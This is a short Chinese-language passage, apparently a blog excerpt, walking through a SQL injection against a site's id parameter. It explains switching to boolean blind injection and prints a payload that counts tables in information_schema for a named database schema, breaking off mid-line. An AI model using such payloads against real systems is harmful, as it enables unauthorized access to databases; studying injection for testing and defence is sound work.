實戰2-注入

主頁面無論輸入什麼都不顯示錯誤，進去下面這個頁面，會有報錯信息。 聯合查詢、報錯兩種方法爆出來的表不完整，，所以用布爾型盲注的方法。   /?id=24 and (select count(table_name) from information_schema.tables where table_schema='u9897uwx_kabel') =22 %23  //22張表 /?id=24 a

>>阅读原文<<